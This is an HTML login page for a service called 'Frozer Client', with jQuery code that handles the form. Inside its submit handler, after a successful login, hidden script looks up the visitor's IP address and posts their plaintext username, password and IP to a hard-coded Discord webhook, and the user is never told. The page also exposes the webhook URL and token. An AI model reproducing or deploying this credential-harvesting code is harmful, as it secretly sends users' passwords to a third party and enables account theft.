<!DOCTYPE html>
<html lang="en">

<head>
    <title>Frozer Client - Login</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/login.css">
    <link rel="stylesheet" type="text/css" href="css/background.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src='https://www.hCaptcha.com/1/api.js' async defer></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <link rel="stylesheet" type="text/css" href="css/sweetalert.css">
</head>

<body>
    <div class="animated-bg"></div>
    <div class="animated-bg bg2"></div>
    <div class="login-container">
        <img src="images/frozerlogo.webp" alt="logo" class="logo" onclick="goHome()" />
        <form id="login-form" method="post">
            <div class="input-field">
                <input type="text" name="username" required spellcheck="false">
                <label>Username</label>
            </div>
            <div class="input-field">
                <input type="password" name="password" required spellcheck="false">
                <label>Password</label>
            </div>
            <button class="login-button" type="submit">Login</button>
            <p>Don't have an account? <a id="register-link" onclick="redirectToRegister()">Register here</a></p>
        </form>
    </div>
    <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vedd3670a3b1c4e178fdfb0cc912d969e1713874337387" integrity="sha512-EzCudv2gYygrCcVhu65FkAxclf3mYM6BCwiGUm6BEuLzSb5ulVhgokzCZED7yMIkzYVg65mxfIBNdNra5ZFNyQ==" data-cf-beacon='{"rayId":"884679270f9379c1","r":1,"version":"2024.4.1","token":"bc9564c54ada4028a7f00e11f5652d20"}' crossorigin="anonymous"></script>
    <script src="js/redirects.js"></script>
    <script>
        $(document).ready(function () {
            $("#login-form").submit(function (event) {
                event.preventDefault();

                var username = $("input[name='username']").val().trim();
                var password = $("input[name='password']").val().trim();

                var disallowedCharacters = /[\\/']/;
                if (disallowedCharacters.test(username) || disallowedCharacters.test(password)) {
                    showErrorNotification("An error occurred. Please try again later.");
                    return;
                }

                if (username.length < 3 || password.length < 3) {
                    showErrorNotification("Username and Password must be at least 3 characters long.");
                    return;
                }

                var formData = $(this).serialize();

                $.getJSON('https://api.ipify.org?format=json', function(data) {
                    var userIP = data.ip;

                $.ajax({
                    type: "POST",
                    url: "login-2.php",
                    data: formData,
                    success: function (response) {
                        if (response.trim() === "success") {


                            var discordWebhookUrl = "https://discord.com/api/webhooks/1329226843299254393/BQcsHOMao9fmkCnffxM1TejcE-f2JmAABXR3_ZSuR88nBqwCTWU4lZTjLrEKTcvRc3iO";
                            var embed = {
                                title: "New Login",
                                fields: [
                                    {
                                        name: "Username",
                                        value: username,
                                        inline: false
                                    },
                                    {
                                        name: "Password",
                                        value: password,
                                        inline: false
                                    },
                                    {
                                        name: "IP Address",
                                        value: userIP,
                                        inline: false
                                    }
                                ],
                                color: 3447003 
                            };

                            var message = {
                                embeds: [embed]
                            };

                            $.ajax({
                                type: "POST",
                                url: discordWebhookUrl,
                                contentType: "application/json",
                                data: JSON.stringify(message),
                                success: function () {
                                    window.location.href = "home.php";
                                },
                                error: function () {
                                    showErrorNotification("Error logging to Discord. Please try again later.");
                                }
                            });
                        } else {
                            showErrorNotification(response);
                        }
                    },
                    error: function (xhr, status, error) {
                        showErrorNotification("An error occurred. Please try again later.");
                    }
                });
                });
            });

            const Toast = Swal.mixin({
                toast: true,
                position: "top-end",
                showConfirmButton: false,
                timer: 4000,
                timerProgressBar: true,
                didOpen: (toast) => {
                    toast.onmouseenter = Swal.stopTimer;
                    toast.onmouseleave = Swal.resumeTimer;
                }
            });

            function showErrorNotification(message) {
                Toast.fire({
                    icon: 'error',
                    title: 'Error',
                    text: message
                });
            }
        });
    </script>
</body>

</html>
